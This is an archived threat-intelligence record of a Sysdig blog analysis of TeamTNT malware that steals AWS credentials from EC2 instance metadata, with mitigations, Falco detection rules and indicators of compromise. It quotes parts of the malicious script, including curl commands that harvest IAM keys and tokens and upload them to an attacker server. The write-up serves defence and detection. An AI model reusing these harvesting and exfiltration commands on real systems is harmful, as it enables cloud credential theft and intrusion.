{
	"id": "2b8c14c6-f24d-4b93-bea1-f65b77fd6e13",
	"created_at": "2026-04-06T00:12:46.914371Z",
	"updated_at": "2026-04-10T13:12:50.613319Z",
	"deleted_at": null,
	"sha1_hash": "27bde9b98e824fe6d93f76a0629353e9920b6797",
	"title": "Threat news: TeamTNT stealing credentials using EC2 Instance Metadata",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 463226,
	"plain_text": "Threat news: TeamTNT stealing credentials using EC2 Instance\r\nMetadata\r\nBy Alberto Pellitteri\r\nPublished: 2021-12-07 · Archived: 2026-04-05 14:22:47 UTC\r\nThe Sysdig Threat Research Team has detected an attack that can be attributed to the TeamTNT. The initial\r\ntarget was a Kubernetes pod exposed outside the network. Once access was gained, the malware attempted to\r\nsteal AWS credentials using the EC2 instance metadata.\r\nTeamTNT is a threat actor that conducts large-scale attacks against virtual and cloud solutions, like Kubernetes\r\nand Docker. Previous attacks displayed motives concerned with cryptocurrency mining and stealing\r\ncredentials, but this time a new strategy that leverages AWS metadata was employed. Excessive permissions can\r\nbe exploited in the cloud platform and may result in lateral movement attacks.\r\nIn this short article you will learn how this attack works, the associated risks, and how to detect it.\r\nSituation\r\nTeamTNT exploited a WordPress pod deployed on a Kubernetes cluster via its misconfigured dashboard,\r\nwhich was then brute-forced and allowed remote command executions. After access is gained to the vulnerable\r\ncontainer, the malware uses the wget command to download the malicious bash script aws2.sh .\r\nThe Sysdig Threat Research Team analyzed this script and found that it attempts to obtain AWS credentials using\r\nfour different strategies.\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 1 of 8\n\n1. First, it checks if any AWS credentials have been exported as environment variables on the compromised\r\nsystem.\r\n2. Then, it looks for any AWS keys by inspecting docker containers currently running on the victim.\r\n3. If the /.aws/credentials path exists in either the /root filesystem or in any /home/ directories, they\r\nare searched for credentials.\r\n4. It fetches AWS metadata from the victim machine in order to get the IAM role credentials associated with\r\nit: aws_access_key_id , aws_secret_access_key , aws_session_token .\r\nThe last strategy is the most recent and interesting one that has been adopted by TeamTNT to steal AWS\r\ncredentials.\r\nImpact\r\nAWS metadata, as well as user data, is used to configure and manage any EC2 instance that you run in AWS. It\r\ncan be accessed only from your running instance via the following URI (over IPv4):\r\nhttp://169.254.169.254/latest/meta-data/ .\r\nBelow is a sampling of the kind of data which the endpoint contains.\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 2 of 8\n\nYou can use it to retrieve information about the instance and some network settings (like the local and public IPv4\r\naddresses). But above all, it keeps track of the IAM role that is assigned to an instance. The latter information can\r\nbe leveraged by the attackers.\r\nBelow is taken from the malicious script and shows how the attackers access and extract sensitive information\r\nfrom the metadata endpoint.\r\n...\r\nfunction AWS_META_DATA_CREDS(){\r\nexport TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk\r\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'AccessKeyId' | sed 's/ \"AccessKeyId\" : \"/aws_access_key_id = /g' | sed\r\n's/\",//g')\r\nif [ ! -z \"$TNT_AWS_ACCESS_KEY\" ]; then\r\nexport TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk\r\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'SecretAccessKey' | sed 's/ \"SecretAccessKey\" : \"/aws_secret_access_key =\r\n/g' | sed 's/\",//g')\r\n…\r\nfi\r\nif [ ! -z \"$TNT_AWS_SECRET_KEY\" ]; then\r\nexport TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 3 of 8\n\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' | sed 's/ \"Token\" : \"/aws_session_token = /g' | sed 's/\",//g')\r\nFi\r\n...\r\necho $TNT_AWS_ACCESS_KEY \u003e\u003e $STEALER_OUT\r\necho $TNT_AWS_SECRET_KEY \u003e\u003e $STEALER_OUT\r\necho $TNT_AWS_SESSION_TOKEN \u003e\u003e $STEALER_OUT\r\n...\r\nFinally, once this information has been stored into the STEALER_OUT file, data exfiltration occurs with the\r\nuploading of the file to an attacker controlled server.\r\n...\r\nif [ -f $STEALER_OUT ]; then\r\ncat $STEALER_OUT\r\ncurl -F \"userfile=@$STEALER_OUT\" http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php\r\nrm -f $STEALER_OUT 2\u003e/dev/null 1\u003e/dev/null\r\nfi\r\n...\r\nThe impact of this new threat can thus lead to the theft of AWS credentials. Attackers will therefore be able to\r\nexploit them in order to carry out lateral movements in the cloud!\r\nMitigations\r\nAs always, ensure that your services are protected with robust multi-factor authentication systems and up-to-date,\r\nvulnerability-free components. However, there are some specific steps that can be taken to counter this threat.\r\nIn AWS, you cannot enable access control rules to prevent unauthorized access to the EC2 instance metadata.\r\nInstead, you can adopt some strategies that limit the risks associated with AWS credential theft:\r\nIf your instance doesn't need to have access to metadata, it should be disabled. This minimizes the attack\r\nsurface and avoids AWS credentials theft.\r\nYou can also replace the default IMDSv1 method with the newer IMDSv2 for accessing instance\r\nmetadata. IMDSv2 uses session-oriented requests and provides a session token that can be used to make\r\nrequests for metadata and credentials.\r\nOnly assign a role to the EC2 instance if strictly necessary.\r\nIf you have attached an IAM role to an EC2 instance, make sure you have granted it the minimum\r\nprivileges required to run its tasks.\r\nFor example, according to the latter scenario, if your EC2 instance needs only read permissions for an AWS S3\r\nbucket, you shouldn't provide write permissions to it as well. In addition to restricting AWS actions, like read, list,\r\nand write to a bucket, you should also specify which AWS resources can be accessed. This may limit unauthorized\r\naccess to sensitive data.\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 4 of 8\n\nBelow is reported an insecure policy:\r\n{\r\n\"Version\": \"2012-10-17\",\r\n\"Statement\": [\r\n{\r\n\"Effect\": \"Allow\",\r\n\"Action\": [\"s3:*\"],\r\n\"Resource\": [\"*\"]\r\n}\r\n]\r\n}\r\nInstead, a more secure policy would be:\r\n{\r\n\"Version\": \"2012-10-17\",\r\n\"Statement\": [\r\n{\r\n\"Principal\": {\r\n\"AWS\":\"arn:aws:iam:::role/\"\r\n}\r\n\"Effect\": \"Allow\",\r\n\"Action\": [\"s3:ListBucket\",\r\n\"s3:GetObject\"],\r\n\"Resource\": [\"arn:aws:s3:::\"]\r\n}\r\n]\r\n}\r\nDetection\r\nDetection of the methods carried out by TeamTNT to steal credentials can be accomplished using Falco. Falco is\r\na CNCF incubating project for runtime threat detection for containers and Kubernetes.\r\nYou can leverage Falco's powerful and flexible rules language to detect suspicious behaviors and generate events.\r\nFalco comes with a predefined set of rules, but you can also customize them or create new ones that fit your needs\r\nas you want.\r\nThere are two rules in the default ruleset which will detect whenever a container unexpectedly tries to reach the\r\nEC2 instance metadata:\r\n- rule: Contact EC2 Instance Metadata Service From Container\r\ndesc: Detect attempts to contact the EC2 Instance Metadata Service from a container\r\ncondition: outbound and fd.sip=\"169.254.169.254\" and container and not ec2_metadata_containers\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 5 of 8\n\noutput: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name\r\n%container.info image=%container.image.repository:%container.image.tag)\r\npriority: NOTICE\r\ntags: [network, aws, container, mitre_discovery]\r\n- rule: Contact cloud metadata service from container\r\ndesc: Detect attempts to contact the Cloud Instance Metadata Service from a container\r\ncondition: outbound and fd.sip=\"169.254.169.254\" and container and consider_metadata_access and not\r\nuser_known_metadata_access\r\noutput: Outbound connection to cloud instance metadata service (command=%proc.cmdline\r\nconnection=%fd.name %container.info image=%container.image.repository:%container.image.tag)\r\npriority: NOTICE\r\ntags: [network, container, mitre_discovery]\r\nIf you want to know more about these rules, you can check the full rule descriptions on GitHub.\r\nAlternatively, the Find AWS Credentials rule can detect suspicious grep or find commands that are\r\nattempting to discover AWS credential files. This rule is included with Sysdig Secure.\r\n- macro: private_aws_credentials\r\ncondition: \u003e\r\n(proc.args icontains \"aws_access_key_id\" or\r\nproc.args icontains \"aws_secret_access_key\" or\r\nproc.args icontains \"aws_session_token\" or\r\nproc.args icontains \"accesskeyid\" or\r\nproc.args icontains \"secretaccesskey\")\r\n- rule: Find AWS Credentials\r\ndescription: Detect AWS creds\r\ncondition: \u003e\r\nspawned_process and\r\n((grep_commands and private_aws_credentials) or\r\n(proc.name = \"find\" and proc.args endswith \".aws/credentials\"))\r\noutput: Grep AWS credentials activities found (user=%user.name user_loginuid=%user.loginuid\r\ncommand=%proc.cmdline container_id=%container.id container_name=%container.name\r\nimage=%container.image.repository:%container.image.tag)\r\npriority: NOTICE\r\ntags: mitre_credential_access, process\r\nSummary of indicators of compromise (IoC) and suspicious activities\r\nIPs \u0026 URLs\r\n84.201.153.234\r\nhttp://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 6 of 8\n\nhttp://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php\r\nMD5\r\naws2.sh\r\n6eb1c1b3acbb0a71013826d512b3ebb6\r\nFilenames\r\naws2.sh\r\nTeamTNT_AWS_STEALER_v2.txt\r\n.tnt.aws.lock\r\nSuspicious activities\r\nThere are a few suspicious activities worth mentioning in our TeamTNT malware analysis:\r\nwget is launched in runtime, not build time, to download the malicious bash script aws2.sh .\r\nNetwork communication with the AWS metadata.\r\nSysdig Secure includes several rules which use indicators of compromise to generate events when seen. These are\r\nautomatically updated as the Sysdig Threat Research Team discovers them in order to provide the most up to\r\ndate protection.\r\nSysdig Secure IoC rules:\r\nMalicious IPs or domains detected on command line\r\nMalicious binary detected\r\nMalicious process detected\r\nConclusion\r\nThis incident proves that threats are always evolving. TeamTNT malware has been improved so that it is able to\r\nsteal AWS credentials even if they are not directly stored inside the victim container. This may allow the threat\r\nactor to exploit your stolen credentials in order to perform lateral movement attacks.\r\nIf you want to adopt runtime security tools, you can choose Falco, \"the open source standard for continuous risk\r\nand threat detection across Kubernetes, containers, and cloud\".\r\nIf you would like to find out more about Falco:\r\nGet started at Falco.org.\r\nCheck out the Falco project on GitHub.\r\nGet involved with the Falco community.\r\nMeet the maintainers on the Falco Slack.\r\nFollow @falco_org on Twitter.\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 7 of 8\n\nAt Sysdig Secure, we extend Falco with out-of-the-box rules, along with other open source projects, making it\r\neven easier to work with and manage cloud security.\r\nIf using Sysdig Secure, the attempt to use the instance metadata endpoint would generate an event that looks\r\nsimilar to the image below.\r\nRegister for our free 30-day trial and see for yourself!\r\nSource: https://sysdig.com/blog/teamtnt-aws-credentials/\r\nhttps://sysdig.com/blog/teamtnt-aws-credentials/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://sysdig.com/blog/teamtnt-aws-credentials/"
	],
	"report_names": [
		"teamtnt-aws-credentials"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "f809bfcb-b200-4988-80a8-be78ef6a52ef",
			"created_at": "2023-01-06T13:46:39.186988Z",
			"updated_at": "2026-04-10T02:00:03.240002Z",
			"deleted_at": null,
			"main_name": "TeamTNT",
			"aliases": [
				"Adept Libra"
			],
			"source_name": "MISPGALAXY:TeamTNT",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "c3ca592f-0669-49bd-ab5c-310007ab2fb4",
			"created_at": "2022-10-25T15:50:23.334495Z",
			"updated_at": "2026-04-10T02:00:05.264841Z",
			"deleted_at": null,
			"main_name": "TeamTNT",
			"aliases": [
				"TeamTNT"
			],
			"source_name": "MITRE:TeamTNT",
			"tools": [
				"Peirates",
				"MimiPenguin",
				"LaZagne",
				"Hildegard"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434366,
	"ts_updated_at": 1775826770,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/27bde9b98e824fe6d93f76a0629353e9920b6797.pdf",
		"text": "https://archive.orkl.eu/27bde9b98e824fe6d93f76a0629353e9920b6797.txt",
		"img": "https://archive.orkl.eu/27bde9b98e824fe6d93f76a0629353e9920b6797.jpg"
	}
}